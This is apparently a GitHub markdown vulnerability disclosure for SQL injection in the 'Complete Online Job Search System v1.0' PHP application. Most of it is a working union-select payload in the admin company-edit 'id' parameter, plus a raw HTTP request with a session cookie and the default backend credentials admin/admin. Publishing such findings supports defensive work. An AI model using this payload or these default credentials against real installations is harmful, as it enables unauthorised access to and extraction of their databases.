debug601 Update SQLi-2.md History

1 contributor

31 lines (21 sloc) | 1.19 KB

Complete Online Job Search System v1.0 has SQL injection

BUG_Author：朝阳

The password for the backend login account is: admin/admin

vendors: https://www.campcodes.com/projects/php/online-job-search-system-using-php-mysql-free-download/

Vulnerability File: /eris/admin/company/index.php?view=edit&id=

Vulnerability location: /eris/admin/company/index.php?view=edit&id=,id

Current database name: erisdb

[+] Payload: /eris/admin/company/index.php?view=edit&id=-3%27%20union%20select%201,database(),3,4,5,6--+ // Leak place ---> id

```
GET /eris/admin/company/index.php?view=edit&id=-3%27%20union%20select%201,database()
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

```
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=mho0fs263l0tis8l6v3lqpu6q4
Connection: close
```